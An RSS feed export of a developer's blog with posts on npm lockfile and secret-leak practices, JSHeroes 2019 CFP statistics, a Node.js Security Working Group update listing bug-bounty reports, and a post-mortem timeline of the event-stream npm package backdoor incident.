&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;&lt;img src=&quot;/images/blog/yvey2bykpvbjcxrurqoz.png&quot; alt=&quot;Node Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>So you think you&apos;re just gonna `npm install`? Think again</title><link>https://lirantal.com/blog/2019-03-10_so-you-think-you-can-npm-install/</link><guid>https://lirantal.com/blog/2019-03-10_so-you-think-you-can-npm-install/</guid><description>installing dependencies is not the same for development as it is for continuous integration systems, in this post I share why.</description><pubDate>Mon, 11 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We embraced the birth of package lockfiles with open arms, which introduced: deterministic installations across different environments, and enforced dependency expectations across team collaboration.&lt;/p&gt;
&lt;p&gt;Life is good! Or so I thought…
what would have happened had I slipped a change into the project’s &lt;code&gt;package.json&lt;/code&gt; file but had forgotten to commit the lockfile along side of it?&lt;/p&gt;
&lt;p&gt;Both Yarn, and npm act the same during dependency installation . When they detect an inconsistency between the project’s &lt;code&gt;package.json&lt;/code&gt; and the lockfile, they compensate for such change based on the &lt;code&gt;package.json&lt;/code&gt; manifest by installing different versions than those that were recorded in the lockfile.&lt;/p&gt;
&lt;p&gt;This kind of situation can be hazardous for build and production environments as they could pull in unintended package versions and render the entire benefit of a lockfile futile.&lt;/p&gt;
&lt;p&gt;Luckily, there is a way to tell both Yarn and npm to adhere to a specified set of dependencies and their versions by referencing them from the lockfile. Any inconsistency will abort the installation. The command line should read as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you’re using Yarn, run &lt;code&gt;yarn install --frozen-lockfile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you’re using npm run &lt;code&gt;npm ci&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Thanks for reading and to &lt;a href=&quot;https://twitter.com/jotadeveloper&quot;&gt;Juan Picado&lt;/a&gt; from the Verdaccio team who worked with me on it. &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;Check it out&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;&lt;img src=&quot;/images/blog/yvey2bykpvbjcxrurqoz.png&quot; alt=&quot;Node Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>How to avoid leaking secrets to the npm registry</title><link>https://lirantal.com/blog/2019-03-05_avoid-leaking-secrets-to-npm-registry/</link><guid>https://lirantal.com/blog/2019-03-05_avoid-leaking-secrets-to-npm-registry/</guid><description>10 awesome npm security tips to keep you safe!</description><pubDate>Tue, 05 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It is important to take npm security into account for both frontend, and backend developers. Leaking secrets is an easy mistake that can happen for you at work or when you work on your open source projects.&lt;/p&gt;
&lt;h2 id=&quot;avoid-leaking-secrets-to-the-npm-registry&quot;&gt;Avoid leaking secrets to the npm registry&lt;/h2&gt;
&lt;p&gt;Whether you’re making use of API keys, passwords or other secrets, they can very easily end up leaking into source control or even a published package on the public npm registry.&lt;/p&gt;
&lt;p&gt;You may have secrets in your working directory in designated files such as a &lt;code&gt;.env&lt;/code&gt; which should be added to a &lt;code&gt;.gitignore&lt;/code&gt; to avoid committing it to a SCM, but what happen when you publish an npm package from the project’s directory?&lt;/p&gt;
&lt;p&gt;The npm CLI packs up a project into a tar archive (tarball) in order to push it to the registry. The following criteria determine which files and directories are added to the tarball:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If there is either a &lt;code&gt;.gitignore&lt;/code&gt; or a &lt;code&gt;.npmignore&lt;/code&gt; file, the contents of the file are used as an ignore pattern when preparing the package for publication.&lt;/li&gt;
&lt;li&gt;If both ignore files exist, everything not located in &lt;code&gt;.npmignore&lt;/code&gt; is published to the registry. This condition is a common source of confusion and is a problem that can lead to leaking secrets. Developers may end up updating the &lt;code&gt;.gitignore&lt;/code&gt; file, but forget to update &lt;code&gt;.npmignore&lt;/code&gt; as well, which can lead to a potentially sensitive file not being pushed to source control, but still being included in the npm package.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Another good practice to adopt is making use of the &lt;code&gt;files&lt;/code&gt; property in &lt;code&gt;package.json&lt;/code&gt;, which works as a whitelist and specifies the array of files to be included in the package that is to be created and installed (while the ignore file functions as a blacklist).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;files&lt;/code&gt; property and an ignore file can both be used together to determine which files should explicitly be included, as well as excluded, from the package. However note that when using both, the &lt;code&gt;files&lt;/code&gt; property in &lt;code&gt;package.json&lt;/code&gt; takes precedence over the ignore file.&lt;/p&gt;
&lt;p&gt;When a package is published, the npm CLI will verbosely display the archive being created. To be extra careful, add a &lt;code&gt;--dry-run&lt;/code&gt; argument to your publish command in order to first review how the tarball is created without actually publishing it to the registry.&lt;/p&gt;
&lt;p&gt;In January 2019, npm shared on their blog that they added a &lt;a href=&quot;https://blog.npmjs.org/post/182015409750/automated-token-revocation-for-when-you&quot;&gt;mechanism that automatically revokes a token&lt;/a&gt; if they detect that one has been published with a package.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I also blogged about a complete &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt; you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;&lt;img src=&quot;/images/blog/yvey2bykpvbjcxrurqoz.png&quot; alt=&quot;Node Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>The State of — JSHeroes — 2019</title><link>https://lirantal.com/blog/the-state-of-jsheroes-2019-b9714420e44f/</link><guid>https://lirantal.com/blog/the-state-of-jsheroes-2019-b9714420e44f/</guid><description>The JSHeroes conference will take place this year in April and bring in people from all over the world to connect with new and old friends…</description><pubDate>Thu, 07 Feb 2019 10:18:48 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://jsheroes.io&quot;&gt;JSHeroes&lt;/a&gt; conference will take place this year in April and bring in people from all over the world to connect with new and old friends, and learn about new topics.&lt;/p&gt;
&lt;h4 id=&quot;the-state-of-jsheroes2019&quot;&gt;The State of JSHeroes 2019&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://jsheroes.io&quot;&gt;JSHeroes&lt;/a&gt; community and the organizers, in particular, are known to work with full transparency as is expected from a community-led conference.&lt;/p&gt;
&lt;p&gt;Last year they shared the &lt;a href=&quot;https://medium.com/cluj-javascripters/jsheroes-2018-transparency-report-3266c18d8729&quot;&gt;2018 transparency report&lt;/a&gt;, as they have done so in the preceding year. In this spirit, I went ahead with plotting out a bit of the data we gathered from the Call For Papers (CFP) applications.&lt;/p&gt;
&lt;p&gt;In total, we had 324 CFP applications sent to JSHeroes.&lt;br&gt;
The highest number of applications submitted than previous editions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__RClqAINd__gHfHEbeFXyBqA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I then went on with analyzing the time and dates the applications were submitted.&lt;/p&gt;
&lt;p&gt;The CFP for JSHeroes 2019 officially opened on September 1st 2018, and closed 3 months later on December 2nd 2018.&lt;/p&gt;
&lt;p&gt;When do people submit their CFP applications?&lt;br&gt;
Apparently, the majority of the forms were submitted in an almost even distribution between these times of the day:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;12pm to 4pm&lt;/li&gt;
&lt;li&gt;4pm to 8pm&lt;/li&gt;
&lt;li&gt;8pm to 12am&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since applications are sent around the world, and I didn’t cross-reference the time and origin of the person submitting the form we can’t really conclude much about the actual time of day.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__VgselKi__kzA5bUwxicMplg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Most of the submissions took place in November, but when exactly in November? It’s important to see a per-day chart because December wasn’t a full month where the CFP was open, it was merely the deadline happening on December 2nd, 2018.&lt;/p&gt;
&lt;p&gt;When plotting out the daily chart for when applications were submitted we come to the inevitable and so obvious conclusion that people are big on procrastination.&lt;/p&gt;
&lt;p&gt;As can be seen, the spike of CFP applications shows just how most of the traffic happened in the last few days before the CFP program closed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__I5KJOf5qLVLisT9Tbune1g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I’m humbled and honored to join these awesome ambassadors and participate in another global event for &lt;a href=&quot;https://jsheroes.io&quot;&gt;JSHeroes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Don’t hesitate to ping any of us if you have any questions, comments or ideas on how to get involved or anything we can help with. Please give us a ping and we’re excited about seeing you in April 2019.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__owFrD__9MBJ9oBKF1bg1MVQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The Agenda is coming together with many great speakers that you’re likely following already. I’m excited to hear everyone’s talk!&lt;/p&gt;
&lt;p&gt;To continue the tradition from last year, JSHeroes also has a Workshop day planned for April 10th, a day before the conference.&lt;/p&gt;
&lt;p&gt;What I like most about this year’s workshops is that they are incredibly diverse and different from each other. I’m pretty sure you’re going to find a topic you’d like to spend a few hours or a full day doing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__KvRKBuNcW__HOFba2GjsNww.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;consumer-driven-contracts-workshop&quot;&gt;Consumer-Driven Contracts Workshop&lt;/h4&gt;
&lt;p&gt;This year, instead of a talk (I think 😁), I’ll be doing a workshop on testing Node.js Microservices, but it’s not just about Node.js itself.&lt;/p&gt;
&lt;p&gt;How many times as a frontend engineer did you find that the API contract between the frontend and backend is not per what you expected? Someone got confused, misunderstood, or plain out missed to deliver per what you agreed.&lt;/p&gt;
&lt;p&gt;The Consumer-Driven Contracts pattern is exactly what this workshop is all about, regardless of frontend or backend, but for the sake of the workshop we’ll practice it with Node.js API services.&lt;/p&gt;
&lt;p&gt;I successfully implemented this concept and rolled it out within my engineering team in a previous roll and others in my previous organization and I’m excited about sharing everything I’ve learned.&lt;/p&gt;
&lt;h4 id=&quot;web-security-for-frontend-engineers-workshop&quot;&gt;Web Security for Frontend Engineers Workshop&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/u/8653a84404e3&quot;&gt;Benedek Gagyi&lt;/a&gt; is going to run this workshop and provide great tips and security know-how to everyone who feels they are missing out on security jargon, and practices.&lt;/p&gt;
&lt;p&gt;It’s a great pleasure for me to join this workshop on Ben’s invite and thrilled that we are making sure to give space to security topics in JSHeroes.&lt;/p&gt;
&lt;p&gt;April 11–12, save the date!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__LgpLDftqmIaIbTtiXWmsMA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Node.js Security WG — January 2019</title><link>https://lirantal.com/blog/node-js-security-wg-january-2019-619ef804cd6d/</link><guid>https://lirantal.com/blog/node-js-security-wg-january-2019-619ef804cd6d/</guid><description>In an effort to better promote and increase engagement in the Node.js Security WG we would like to share highlights more often, ideally…</description><pubDate>Fri, 11 Jan 2019 16:01:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__aEtCWWEnTDEsURL8GOuevA.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In an effort to better promote and increase engagement in the &lt;a href=&quot;https://github.com/nodejs/security-wg&quot;&gt;Node.js Security WG&lt;/a&gt; we would like to share highlights more often, ideally each quarter, in the following areas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Agenda — topics that we discuss and make their way into formal processes.&lt;/li&gt;
&lt;li&gt;Security Reports Spotlight — sharing vulnerability reports for a selected set of modules or areas in the Node.js ecosystem or Node.js core project.&lt;/li&gt;
&lt;li&gt;Celebrating new WG members or other general announcements.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;quarterly-agendatopics&quot;&gt;Quarterly Agenda Topics&lt;/h3&gt;
&lt;h4 id=&quot;1-security-bounty-program-for-nodejs-core-and-ecosystem&quot;&gt;1. Security Bounty Program for Node.js Core and Ecosystem&lt;/h4&gt;
&lt;p&gt;We have two HackerOne programs that are on track, a third-party modules ecosystem where we triage reports for modules found on npm as well as a Node.js core program for security vulnerabilities reported directly on the Node runtime.&lt;/p&gt;
&lt;p&gt;Statistics with regards to the ecosystem program:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;95 reports written by 17 hackers have been handled&lt;/li&gt;
&lt;li&gt;84% of reports have been accepted as valid&lt;/li&gt;
&lt;li&gt;8% were not applicable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Overall, the quality of reports is pretty high and a solid base of hackers help keep the ecosystem safe. However, most reports only concern very low popularity modules (less than 100 download a month).&lt;/p&gt;
&lt;p&gt;Statistics with regards to the Node.js core program:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only 3 reports by 2 hackers have been resolved&lt;/li&gt;
&lt;li&gt;15% of reported issues are actually valid security bugs&lt;/li&gt;
&lt;li&gt;60% of reports were considered as not valid&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Node.js core program is in pretty good health, although most reports are not found to be valid regarding the scope of the program. Still, hackers show a great enthusiasm toward this program.&lt;/p&gt;
&lt;p&gt;Since this program can award bounties to hackers thanks to the &lt;a href=&quot;https://internetbugbounty.org/&quot;&gt;Internet Bug Bounty&lt;/a&gt;, hacker community is paying more attention to Node.js core.&lt;/p&gt;
&lt;p&gt;Overall, both programs are still pretty young (less than 1 year old) but we can expect them to grow further in the future.&lt;/p&gt;
&lt;p&gt;— By &lt;a href=&quot;https://twitter.com/poledesfetes&quot;&gt;Vladimir de Turckheim&lt;/a&gt; (&lt;a href=&quot;https://github.com/vdeturckheim&quot;&gt;https://github.com/vdeturckheim&lt;/a&gt;)&lt;/p&gt;
&lt;h4 id=&quot;2-machine-readable-format-for-vulnerabilities&quot;&gt;2. Machine Readable Format for Vulnerabilities&lt;/h4&gt;
&lt;p&gt;One of the key activities for the Security WG is disclosure triaging and organizing the processes around security vulnerabilities for Node.js core and the ecosystem. The end result of that process is a maintainable and up-to-date &lt;a href=&quot;https://github.com/nodejs/security-wg/tree/master/vuln&quot;&gt;vulnerability database&lt;/a&gt; that can be freely queried and inspected by individuals and organizations to assert whether Node.js, or a package of specific version is vulnerable.&lt;/p&gt;
&lt;p&gt;This means that the vulnerability database is expected to be consumed in a programmable manner, and one that makes it rather easy and clear to fetch metadata without having to create wrappers on the report such as parsing the author field of a report to extract the email address.&lt;/p&gt;
&lt;p&gt;To enable that, we’ve set out to update the vulnerability report format so that it is easy for individuals to consume it (&lt;a href=&quot;https://github.com/nodejs/security-wg/issues/200&quot;&gt;https://github.com/nodejs/security-wg/issues/200&lt;/a&gt;) via programmatic APIs and we are collecting feedback from the community on that.&lt;/p&gt;
&lt;p&gt;The feedback we gathered so far has been instrumental in merging several improvements already and there’s room to express opinions for more topics so this is an open invite to further participate in the Security WG repository (&lt;a href=&quot;https://github.com/nodejs/security-wg&quot;&gt;https://github.com/nodejs/security-wg&lt;/a&gt;) if this topic interests you.&lt;/p&gt;
&lt;p&gt;Example report:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__w3FyNeoAoT7FNcE8.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;— By &lt;a href=&quot;https://twitter.com/liran_tal&quot;&gt;Liran Tal&lt;/a&gt; (&lt;a href=&quot;https://github.com/lirantal&quot;&gt;https://github.com/lirantal&lt;/a&gt;)&lt;/p&gt;
&lt;h4 id=&quot;3-nodejsorg-now-has-a-securitytxt&quot;&gt;3. Nodejs.org now has a SECURITY.TXT&lt;/h4&gt;
&lt;p&gt;Node.js has joined a growing number of projects that use the methodology of &lt;a href=&quot;https://securitytxt.org/&quot;&gt;security.txt&lt;/a&gt; files, an emerging standard that helps organizations describe the process for security researchers to disclose vulnerabilities in a secure manner.&lt;/p&gt;
&lt;p&gt;Security researchers need a way to responsibly disclose their findings to affected companies and website owners. Sometimes this is not easy and requires researchers to find their way through support ticketing systems or use social media to reach out to corporate security teams. security.txt files seek to close this gap by providing all the information need to disclose a security vulnerability in one place at a well-known location.&lt;/p&gt;
&lt;p&gt;The information provided usually includes an e-mail contact with an optional PGP key to encrypt sensitive disclosure details, as well as a link to the vulnerability disclosure policy file and possibly also to security researchers’ hall of fame.&lt;/p&gt;
&lt;p&gt;Node.js security.txt file can be found here: &lt;a href=&quot;https://nodejs.org/.well-known/security.txt&quot;&gt;https://nodejs.org/.well-known/security.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— By &lt;a href=&quot;https://twitter.com/marcin_hoppe&quot;&gt;Marcin Hoppe&lt;/a&gt; (&lt;a href=&quot;https://github.com/MarcinHoppe&quot;&gt;https://github.com/MarcinHoppe&lt;/a&gt;)&lt;/p&gt;
&lt;h3 id=&quot;nodejs-core-securitynews&quot;&gt;Node.js Core Security News&lt;/h3&gt;
&lt;p&gt;The prior year ended with security updates for all maintained Node.js versions were released in November 2018. Many thanks to those who reported and helped resolve the issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Matteo Collina for a significant amount of work fixing vulnerabilities.&lt;/li&gt;
&lt;li&gt;Sam Roberts for the OpenSSL upgrades, other code contributions and assisting in the preparation of these releases.&lt;/li&gt;
&lt;li&gt;Ben Noordhuis, Fedor Indutny and Benno Fünfstück for code contributions.&lt;/li&gt;
&lt;li&gt;Trevor Norris, Jan Maybach, Martin Bajanik, Arkadiy Tetelman for reporting vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One of the important changes to the HTTP module in the recent Node.js 10.14.0 release was &lt;a href=&quot;https://github.com/nodejs/node/commit/186035243fa&quot;&gt;lowering the limit&lt;/a&gt; for the maximum HTTP header size across all release lines, including LTS, which turned out to be &lt;a href=&quot;https://github.com/nodejs/node/issues/24692&quot;&gt;problematic for some users&lt;/a&gt;. A series of patch releases followed to allow the limit to be configurable at run-time.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;https://nodejs.org/en/blog/vulnerability/november-2018-security-releases&quot;&gt;https://nodejs.org/en/blog/vulnerability/november-2018-security-releases&lt;/a&gt; for more information.&lt;/p&gt;
&lt;p&gt;2018 was also the year when someone used social engineering to gain control of a popular module distributed via npm and &lt;a href=&quot;https://thehackernews.com/2018/11/nodejs-event-stream-module.html&quot;&gt;inject malicious code&lt;/a&gt; into it. One positive outcome of this is a heightened interest in how packages are maintained, and what the Node.js community can do to help. The Package Maintenance group was already forming to &lt;a href=&quot;https://medium.com/@nodejs/call-to-action-accelerating-node-js-growth-e4862bee2919&quot;&gt;coordinate work on the important issue of package maintenance&lt;/a&gt;. The wide publicity around this incident accelerated interest in it.&lt;/p&gt;
&lt;p&gt;— By Sam Roberts (&lt;a href=&quot;https://github.com/sam-github&quot;&gt;https://github.com/sam-github&lt;/a&gt;)&lt;/p&gt;
&lt;h3 id=&quot;security-reports-spotlight&quot;&gt;Security Reports Spotlight&lt;/h3&gt;
&lt;p&gt;Selected reports by various bug hunters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/skovorodan&quot;&gt;chalker&lt;/a&gt; — &lt;strong&gt;base64-url&lt;/strong&gt; below 2.0 allocates uninitialized Buffers when number is passed in input &lt;a href=&quot;https://hackerone.com/reports/321692&quot;&gt;https://hackerone.com/reports/321692&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;patrickrbc — Unrestricted file upload (RCE) in &lt;strong&gt;express-cart&lt;/strong&gt; &lt;a href=&quot;https://hackerone.com/reports/343726&quot;&gt;https://hackerone.com/reports/343726&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/tungpun_&quot;&gt;tunkpun&lt;/a&gt; — &lt;strong&gt;serve&lt;/strong&gt; directory listing and file access even when they have been set to be ignored &lt;a href=&quot;https://hackerone.com/reports/330650&quot;&gt;https://hackerone.com/reports/330650&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://nbsriharsha.blogspot.com/&quot;&gt;defmax&lt;/a&gt; — Command injection in &lt;strong&gt;pdf-image&lt;/strong&gt; &lt;a href=&quot;https://hackerone.com/reports/340208&quot;&gt;https://hackerone.com/reports/340208&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;bl4de — &lt;strong&gt;query-mysql&lt;/strong&gt; SQL Injection due to lack of user input sanitization allows to run arbitrary SQL queries when fetching data from database &lt;a href=&quot;https://hackerone.com/reports/311244&quot;&gt;https://hackerone.com/reports/311244&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;thank-you-bughunters&quot;&gt;Thank You Bug Hunters!&lt;/h3&gt;
&lt;p&gt;We’d like to extend our gratitude to the ethical hackers and security researchers who volunteer their time to help make the Node.js ecosystem more secure by submitting security reports for vulnerabilities discovered in Node.js core or 3rd party modules (npm).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__2glAe__8ZfLN5KriE.jpg&quot; alt=&quot;&quot;&gt;
&lt;img src=&quot;/images/blog/0__zVp__YGCCdfiLfaqX.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;new-wgmembers&quot;&gt;New WG Members&lt;/h3&gt;
&lt;p&gt;In the 2nd half of 2018 we also celebrated the addition of the following members to the Ecosystem Triage team:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Elexy&quot;&gt;Alex Knol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/MarcinHoppe&quot;&gt;Marcin Hoppe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/matt-&quot;&gt;Matt Austin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’re happy you joined us!&lt;/p&gt;
&lt;p&gt;—&lt;/p&gt;
&lt;p&gt;Interested in learning more about the Security WG activities?&lt;br&gt;
Get involved: &lt;a href=&quot;https://github.com/nodejs/security-wg&quot;&gt;https://github.com/nodejs/security-wg&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>A Snyk’s Post-Mortem of the Malicious event-stream npm package backdoor</title><link>https://lirantal.com/blog/a-snyks-post-mortem-of-the-malicious-event-stream-npm-package-backdoor-40be813022bb/</link><guid>https://lirantal.com/blog/a-snyks-post-mortem-of-the-malicious-event-stream-npm-package-backdoor-40be813022bb/</guid><description>Last week the imaginable happened. A malicious package, flatmap-stream, was published to npm and was later added as a dependency to the…</description><pubDate>Thu, 06 Dec 2018 17:39:09 GMT</pubDate><content:encoded>&lt;p&gt;Last week the &lt;em&gt;imaginable&lt;/em&gt; happened. A malicious package, flatmap-stream, was published to npm and was later added as a dependency to the widely used event-stream package by user &lt;code&gt;right9ctrl&lt;/code&gt;. Some time, and 8 million downloads later, applications all over the web were unwittingly running malicious code in production. We wrote some &lt;a href=&quot;https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream&quot;&gt;early thoughts on our blog last week&lt;/a&gt;, moments after the incident came to light, but are now able to perform a deeper post-mortem including a timeline of the events as they took place. Thanks go to many others who also investigated this issue, and in particular GitHub user &lt;code&gt;maths22&lt;/code&gt;, who reverse engineered the malicious code.&lt;/p&gt;
&lt;h3 id=&quot;what-is-the-event-stream-package&quot;&gt;What is the event-stream package?&lt;/h3&gt;
&lt;p&gt;The event-stream package is a toolkit that provides utilities to creating and managing streams. Authored by Dominic Tarr (&lt;code&gt;~dominictarr&lt;/code&gt; on npmjs), it is one of &lt;a href=&quot;https://www.npmjs.com/~dominictarr&quot;&gt;422 packages&lt;/a&gt; he owns on npmjs. The event-stream package has a total of 84 releases, dating back to v0.5.2, in 2011, and having regular releases up until version 3.3.4, two years ago.&lt;/p&gt;
&lt;p&gt;Throughout event-steam’s total development, it received contributions from &lt;a href=&quot;https://github.com/dominictarr/event-stream/graphs/contributors&quot;&gt;33 different contributors&lt;/a&gt;, but most of its contributions were delivered in its early days and has only reviewed minor changes since then:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__yO__HNQPj1qz2cgOY.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The project had received over 2000 stars, been forked 139 times and 62 GitHub users have signed-up for notifications on any changes happening in the project. The project was used by 3931 other packages (excluding scoped packages).&lt;/p&gt;
&lt;h3 id=&quot;the-timeline-ofevents&quot;&gt;The Timeline of Events&lt;/h3&gt;
&lt;p&gt;Here is a timeline showing some of the major milestones in the project history, and the key moments during the malicious incident. We’ll look into each point on the timeline, and more, in detail below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__invkHLtulBJ8BEYx.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;chain-ofevents&quot;&gt;Chain of Events&lt;/h3&gt;
&lt;p&gt;We’ll take a look at the chain of events which led up to the use of the malicious flatmap-stream package. These events were researched from public GitHub information, Google cache, and npm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;31st July, 2015:&lt;/strong&gt; GitHub user, &lt;code&gt;devinus&lt;/code&gt;, &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/73&quot;&gt;comments on an issue&lt;/a&gt; on the event-stream project questioning whether a flatmap functionality would be welcomed, to which the package maintainer, &lt;code&gt;dominictarr&lt;/code&gt;, replies positively stating that a user contribution would be accepted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__hrLmJn1ag3__kk4MT.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We could speculate that the later to be discovered malicious user &lt;code&gt;right9ctrl&lt;/code&gt; could well have used this information to plan and execute an elaborate social engineering attack on the project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;August 5, 2018:&lt;/strong&gt; a user who identified as &lt;em&gt;“Antonio Macias”&lt;/em&gt; in npm created and published a non-malicious package called flatmap-stream.&lt;/p&gt;
&lt;p&gt;Next, Antonio Macias proposed that the event-stream project used in the flatmap package. GitHub user &lt;code&gt;right9ctrl&lt;/code&gt; approached Dominic Tarr asking to assist with the project and to make the necessary changes to introduce the flatmap functionality, by pulling in the flatmap-stream dependency. Dominic accepted &lt;code&gt;right9ctrl&lt;/code&gt;’s offer and makes them a contributor to the event-stream GitHub project, as well as gave &lt;code&gt;right9ctrl&lt;/code&gt; full npm publishing rights for the module on the npm ecosystem. Dominic later confirmed during the incident report that he no longer had any publishing rights for the module on npm to remedy the incident (i.e. by removing the infected 3.3.6 version from npm)&lt;/p&gt;
&lt;p&gt;Soon after, a series of innocuous commits were pushed by &lt;code&gt;right9ctrl&lt;/code&gt; to the event-stream GitHub repository:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;September 16, 2018:&lt;/strong&gt; flatmap-stream was removed from the event-stream code in &lt;a href=&quot;https://github.com/dominictarr/event-stream/commit/908fee5c65d4eb02809a84a1ebc3e5df1f935cd1&quot;&gt;908&lt;/a&gt; and from the dependency tree in &lt;a href=&quot;https://github.com/dominictarr/event-stream/commit/2bd63d58fe24367372690c29c7249ed1c7145601&quot;&gt;2bd&lt;/a&gt; and released as a major version, 4.0.0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;September 20, 2018:&lt;/strong&gt; &lt;code&gt;right9ctrl&lt;/code&gt; adds further cosmetic code changes that enhance the project’s keywords in &lt;a href=&quot;https://github.com/dominictarr/event-stream/commit/60d0aa3def10c09ead68ee43804f244ffbd3b9c9&quot;&gt;60d&lt;/a&gt; to presumably further improve the search results on the official npmjs.com registry website&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;October 5, 2018:&lt;/strong&gt; a new minor version flatmap-stream@0.1.1 was released with the injection attack in its minified source code. Installations of event-stream will now also fetch the new infected 0.1.1 version of flatmap as a transient dependency.&lt;/p&gt;
&lt;p&gt;There is no more evidence of any further work to the event-stream project by the &lt;code&gt;right9ctrl&lt;/code&gt; user, whose profile has now been removed from GitHub and npm, although can still be &lt;a href=&quot;https://webcache.googleusercontent.com/search?q=cache:Lyox1SZ96zAJ:https://github.com/right9ctrl+&amp;#x26;cd=1&amp;#x26;hl=en&amp;#x26;ct=clnk&amp;#x26;gl=il&quot;&gt;accessed via Google cache&lt;/a&gt; for introspection:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__HvJWdPWRuzsb7t7h.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
